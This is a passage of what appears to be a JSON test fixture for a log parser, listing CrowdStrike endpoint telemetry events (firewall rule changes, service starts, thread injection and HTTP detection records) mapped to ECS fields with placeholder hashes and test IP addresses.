}, - "process": { - "args": [ - "6725e7" - ], - "args_count": 1, - "command_line": "6725e7", - "entity_id": "1000790287600", - "executable": "6725e7", - "name": "6725e7" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "900805208", - "ContextProcessId": "3001999016003", - "ContextTimeStamp": "2025-08-10T18:33:45.482Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "45", - "FirewallOption": "78415d0f02a966", - "FirewallOptionNumericValue": "1", - "FirewallProfile": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "ee4fea12623693e1e2aaf450974ca9068925", - "name": "bd2f52430b3a6e28fa81dc" - }, - "device": { - "id": "ee24e7d1ac6add25f7a7969844ad0df3" - }, - "event": { - "action": "FirewallChangeOption", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "ee4fea12623693e1e2aaf450974ca9068925|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FirewallChangeOption\",\"ContextTimeStamp\":\"1754850825.482\",\"ConfigStateHash\":\"900805208\",\"FirewallProfile\":\"1\",\"ContextProcessId\":\"3001999016003\",\"aip\":\"89.160.20.128\",\"FirewallOption\":\"78415d0f02a966\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"36\",\"name\":\"bd2f52430b3a6e28fa81dc\",\"EventOrigin\":\"45\",\"id\":\"ee4fea12623693e1e2aaf450974ca9068925\",\"FirewallOptionNumericValue\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ee24e7d1ac6add25f7a7969844ad0df3", - "os": { - "type": "windows" - } - }, - "message": "FirewallChangeOption", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3001999016003" - }, - "related": { - "hash": [ - "900805208" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "900805208", - "ContextProcessId": "2001999016003", - "ContextTimeStamp": "2025-05-19T05:55:38.862Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "45", - "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "4ee907bd437184018039dbce46b3b7fb9586", - "name": "73c6cc568a65a7c085e0" - }, - "device": { - "id": "ee24e7d1ac6add25f7a7969844ad0df3" - }, - "event": { - "action": "FirewallDeleteRule", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "4ee907bd437184018039dbce46b3b7fb9586|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FirewallDeleteRule\",\"ContextTimeStamp\":\"1747634138.862\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"2001999016003\",\"aip\":\"89.160.20.112\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"73c6cc568a65a7c085e0\",\"EventOrigin\":\"45\",\"id\":\"4ee907bd437184018039dbce46b3b7fb9586\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ee24e7d1ac6add25f7a7969844ad0df3", - "os": { - "type": "windows" - } - }, - "message": "FirewallDeleteRule", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2001999016003" - }, - "related": { - "hash": [ - "900805208" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "900805208", - "ContextProcessId": "1001999016003", - "ContextTimeStamp": "2025-07-03T15:07:18.829Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "45", - "FirewallRule": "fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|", - "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b03302898ff47ac683fe0c4e7679c48615d2", - "name": "e6fc8b7f15db47d1f" - }, - "device": { - "id": "ee24e7d1ac6add25f7a7969844ad0df3" - }, - "event": { - "action": "FirewallSetRule", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "b03302898ff47ac683fe0c4e7679c48615d2|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FirewallSetRule\",\"ContextTimeStamp\":\"1751555238.829\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"1001999016003\",\"aip\":\"81.2.69.144\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"26\",\"name\":\"e6fc8b7f15db47d1f\",\"EventOrigin\":\"45\",\"id\":\"b03302898ff47ac683fe0c4e7679c48615d2\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"FirewallRule\":\"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\8027a4f5\\\\97cf27ba\\\\bc713e9c\\\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ee24e7d1ac6add25f7a7969844ad0df3", - "os": { - "type": "windows" - } - }, - "message": "FirewallSetRule", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "1001999016003" - }, - "related": { - "hash": [ - "900805208" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8080600092", - "ContextProcessId": "7127089080000", - "ContextTimeStamp": "2025-06-13T12:46:39.590Z", - "DesiredAccess": "3900073", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "FileAttributes": "0", - "FileEcpBitmask": "0", - "FileObject": "0", - "FltCallbackData": "20591370484490000796", - "FltCompletionContext": "53130800032000003010", - "FltRelatedObjects": "32460687653001750097", - "HandleCreateAuthenticationId": "830", - "Information": "1", - "IrpFlags": "2500", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "94007005", - "ShareAccess": "5", - "SourceEventUniqueId": "903600070008873043", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49", - "name": "c7a00dc61cb10ab411c95598" - }, - "device": { - "id": "d3a1c99f621d3d6474555746950ce9b6" - }, - "event": { - "action": "FsPostOpenSnapshotFile", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49|d3a1c99f621d3d6474555746950ce9b6|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"Options\":\"94007005\",\"ContextThreadId\":\"50000395917240\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"Information\":\"1\",\"FileIdentifier\":\"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306\",\"FltRelatedObjects\":\"32460687653001750097\",\"event_platform\":\"Win\",\"ShareAccess\":\"5\",\"EventOrigin\":\"1\",\"FltCompletionContext\":\"53130800032000003010\",\"id\":\"92f7671f25cc7e1d6c1c2c3958b4a65c9c49\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"FsPostOpenSnapshotFile\",\"ContextTimeStamp\":\"1749818799.590\",\"ConfigStateHash\":\"8080600092\",\"ContextProcessId\":\"7127089080000\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"830\",\"FltCallbackData\":\"20591370484490000796\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"3900073\",\"SourceEventUniqueId\":\"903600070008873043\",\"Entitlements\":\"96\",\"name\":\"c7a00dc61cb10ab411c95598\",\"OperationFlags\":\"0\",\"aid\":\"d3a1c99f621d3d6474555746950ce9b6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\\\\d598026\\\\dc9ec376\\\\b79606\\\\be8\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606", - "inode": "8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306", - "name": "be8", - "path": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8", - "type": "file" - }, - "host": { - "id": "d3a1c99f621d3d6474555746950ce9b6", - "os": { - "type": "windows" - } - }, - "message": "FsPostOpenSnapshotFile", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "d3a1c99f621d3d6474555746950ce9b6", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "7127089080000", - "thread": { - "id": 50000395917240 - } - }, - "related": { - "hash": [ - "8080600092" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "903030080", - "ConfigStateHash": "3440491101", - "ContextTimeStamp": "2025-07-25T04:01:01.221Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "45", - "InterfaceGuid": "d1c8f153a6a851a17b18fe88f1dbdc9254bf", - "InterfaceVersion": "0", - "RpcClientProcessId": "9757071607353", - "RpcClientThreadId": "415000840610900", - "RpcNestingLevel": "1", - "RpcOpNum": "60", - "TargetThreadId": "482081070860200", - "TokenType": "2", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d", - "name": "10e85fd7df0a53c38814f5" - }, - "device": { - "id": "22924ad875ce834067bd29857dc11a92" - }, - "event": { - "action": "HostedServiceStarted", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d|22924ad875ce834067bd29857dc11a92|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"d1c8f153a6a851a17b18fe88f1dbdc9254bf\",\"RpcClientProcessId\":\"9757071607353\",\"id\":\"c7017a5199f1e88eb4a44227da2d1a7c8b0d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"HostedServiceStarted\",\"TargetThreadId\":\"482081070860200\",\"ContextTimeStamp\":\"1753416061.221\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"3440491101\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"415000840610900\",\"AuthenticationId\":\"903030080\",\"ServiceDisplayName\":\"8a7cb45\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"6009006000008\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\8a7cb45.dll\",\"RpcOpNum\":\"60\",\"Entitlements\":\"76\",\"name\":\"10e85fd7df0a53c38814f5\",\"aid\":\"22924ad875ce834067bd29857dc11a92\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "22924ad875ce834067bd29857dc11a92", - "os": { - "type": "windows" - } - }, - "message": "HostedServiceStarted", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "22924ad875ce834067bd29857dc11a92", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "6009006000008", - "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll", - "name": "8a7cb45.dll", - "title": "8a7cb45" - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "f3c32fdf5aef1041" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "f3c32fdf5aef1041" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ContextTimeStamp": "2025-09-18T01:35:57.606Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "TargetThreadId": "51930000290120", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "db2dfa574e4ca1c775249f4fae390c93c57f", - "name": "c503d72ad653c0dc87f730" - }, - "device": { - "id": "0400bce96c16b71f27978572adb3d4fd" - }, - "event": { - "action": "HostedServiceStopped", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "db2dfa574e4ca1c775249f4fae390c93c57f|0400bce96c16b71f27978572adb3d4fd|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"HostedServiceStopped\",\"TargetThreadId\":\"51930000290120\",\"ContextTimeStamp\":\"1758159357.606\",\"ConfigStateHash\":\"3440491101\",\"aip\":\"89.160.20.112\",\"ServiceDisplayName\":\"61b6fb\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"2762512126120\",\"Entitlements\":\"66\",\"name\":\"c503d72ad653c0dc87f730\",\"EventOrigin\":\"1\",\"id\":\"db2dfa574e4ca1c775249f4fae390c93c57f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"0400bce96c16b71f27978572adb3d4fd\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "0400bce96c16b71f27978572adb3d4fd", - "os": { - "type": "windows" - } - }, - "message": "HostedServiceStopped", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "0400bce96c16b71f27978572adb3d4fd", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2762512126120", - "title": "61b6fb" - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "9382309105", - "ContextProcessId": "4064545006008", - "ContextTimeStamp": "2025-08-02T09:35:00.344Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "36", - "EventOrigin": "1", - "HttpInternalSource": "2", - "HttpMethod": "1", - "HttpRequestHeader": "94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b", - "HttpUrl": "08cf20/7773b6bd.com/394e821c.html", - "ParentCommandLine": "82\\ab7e5c1\\c39d646f.EXE", - "PatternId": "28450", - "TemplateInstanceId": "5008", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "5c80fd2a838414022b2f083219c6395b3c6a", - "name": "8d879a136063d7587c6" - }, - "device": { - "id": "561ee5011fb41796a5d3d22ecc19d681" - }, - "event": { - "action": "HttpRequestDetect", - "category": [ - "network", - "session" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "5c80fd2a838414022b2f083219c6395b3c6a|561ee5011fb41796a5d3d22ecc19d681|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"TemplateInstanceId\":\"5008\",\"aip\":\"89.160.20.112\",\"HttpRequestHeader\":\"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b\",\"event_platform\":\"Win\",\"PatternId\":\"28450\",\"EventOrigin\":\"1\",\"id\":\"5c80fd2a838414022b2f083219c6395b3c6a\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\c39d646f.EXE\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"HttpInternalSource\":\"2\",\"event_simpleName\":\"HttpRequestDetect\",\"ContextTimeStamp\":\"1754127300.344\",\"UserName\":\"30d376\",\"ConfigStateHash\":\"9382309105\",\"ContextProcessId\":\"4064545006008\",\"HttpUrl\":\"08cf20/7773b6bd.com/394e821c.html\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\9134161b\\\\033b4ae8\\\\44cb\\\\440b7488\\\\0dc8e72.EXE\\\" /n \\\"C:\\\\6b0cc\\\\30d376\\\\c4deb08f\\\\23555a08\\\\4c840c73.docx\\\" /o \\\"\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\033b4ae8\\\\4813\\\\440b7488\\\\0dc8e72.EXE\",\"Entitlements\":\"36\",\"name\":\"8d879a136063d7587c6\",\"aid\":\"561ee5011fb41796a5d3d22ecc19d681\",\"HttpMethod\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "connection", - "start" - ] - }, - "host": { - "id": "561ee5011fb41796a5d3d22ecc19d681", - "os": { - "type": "windows" - } - }, - "message": "HttpRequestDetect", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "561ee5011fb41796a5d3d22ecc19d681", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE /n C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx /o \"" - ], - "args_count": 1, - "command_line": "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"", - "entity_id": "4064545006008", - "executable": "\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE", - "name": "0dc8e72.EXE" - }, - "related": { - "hash": [ - "9382309105" - ], - "ip": [ - "89.160.20.112" - ], - "user": [ - "30d376" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "30d376" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", - "ConfigStateHash": "5900030004", - "ContextProcessId": "10705000160", - "ContextTimeStamp": "2025-07-10T03:25:43.580Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "ImageFileName": "\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe", - "MappedFromUserMode": "1", - "ModuleCharacteristics": "86", - "ModuleSize": "40360682", - "OriginalEventTimeStamp": "1749976122.404", - "PrimaryModule": "1", - "SignInfoFlags": "1754009", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f5638ae317f9e090033436354c7cf5d36549", - "name": "dccbe56e7b3" - }, - "device": { - "id": "64cded9cf5ef1c609147019ee3184217" - }, - "dll": { - "Ext": { - "size": 40360682 - }, - "hash": { - "md5": "896a7b972e546354ae731504897bb216", - "sha1": "9692067083780606753097782045800757094700", - "sha256": "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9" - }, - "name": "dad56584.exe" - }, - "event": { - "action": "ImageHash", - "category": [ - "library" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f5638ae317f9e090033436354c7cf5d36549|64cded9cf5ef1c609147019ee3184217|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ModuleCharacteristics\":\"86\",\"ContextThreadId\":\"137030102310\",\"aip\":\"81.2.69.144\",\"OriginalEventTimeStamp\":\"1749976122.404\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"EventOrigin\":\"1\",\"id\":\"f5638ae317f9e090033436354c7cf5d36549\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40360682\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ImageHash\",\"ContextTimeStamp\":\"1752117943.580\",\"ConfigStateHash\":\"5900030004\",\"ContextProcessId\":\"10705000160\",\"MD5HashData\":\"896a7b972e546354ae731504897bb216\",\"SHA256HashData\":\"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9\",\"ConfigBuild\":\"2c8b.4.1403a74.4f\",\"TargetProcessId\":\"10705000160\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\42955da6\\\\10b3abfd\\\\27b5ee41\\\\dad56584.exe\",\"Entitlements\":\"16\",\"name\":\"dccbe56e7b3\",\"PrimaryModule\":\"1\",\"aid\":\"64cded9cf5ef1c609147019ee3184217\",\"SignInfoFlags\":\"1754009\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "64cded9cf5ef1c609147019ee3184217", - "os": { - "type": "windows" - } - }, - "message": "ImageHash", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "64cded9cf5ef1c609147019ee3184217", - "version": "2c8b.4.1403a74.4f" - }, - "process": { - "entity_id": "10705000160", - "thread": { - "id": 137030102310 - } - }, - "related": { - "hash": [ - "896a7b972e546354ae731504897bb216", - "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9", - "9692067083780606753097782045800757094700", - "5900030004" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "240271348", - "ContextProcessId": "3006607000981", - "ContextTimeStamp": "2025-06-10T02:00:56.920Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "InjectedThreadFlag": "430", - "RawThreadId": "5008", - "SourceThreadStartAddress": "984100382000810", - "TargetThreadId": "505479000700240", - "TargetThreadModule": "\\63dc8ea2\\1c329924.dll", - "ThreadStartAddress": "947500501770690", - "ThreadStartContext": "5177300087920", - "UserThread": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "5677e0f1c2f59a879c8c966e3f2583d1b374", - "name": "367b7572c21bead4" - }, - "device": { - "id": "8fb3daf730de8e73c353f0c4137a51b5" - }, - "event": { - "action": "InjectedThread", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "5677e0f1c2f59a879c8c966e3f2583d1b374|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"430\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"TargetThreadModule\":\"\\\\63dc8ea2\\\\1c329924.dll\",\"EventOrigin\":\"1\",\"id\":\"5677e0f1c2f59a879c8c966e3f2583d1b374\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"InjectedThread\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ContextTimeStamp\":\"1749520856.920\",\"ConfigStateHash\":\"240271348\",\"ContextProcessId\":\"3006607000981\",\"ThreadStartContext\":\"5177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"36\",\"name\":\"367b7572c21bead4\",\"RawThreadId\":\"5008\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"SourceThreadStartAddress\":\"984100382000810\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "8fb3daf730de8e73c353f0c4137a51b5", - "os": { - "type": "windows" - } - }, - "message": "InjectedThread", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "8fb3daf730de8e73c353f0c4137a51b5", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3000303437040", - "pid": 7310, - "thread": { - "id": 140004900194068 - } - }, - "related": { - "hash": [ - "240271348" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "90089570", - "ContextBaseFileName": "d3571e48e3804d61a8d8f51", - "ContextProcessId": "3097482600003", - "ContextTimeStamp": "2025-11-02T13:33:51.810Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileCategory": "1", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-96058-21257-98492", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "SHA256HashData": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "162ec74e6e37e7616a81feca0a38cbc4e060", - "name": "45bc1cac0e68ad976" - }, - "device": { - "id": "e8709208d980534971098b9a6fb8cf05" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "162ec74e6e37e7616a81feca0a38cbc4e060|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": 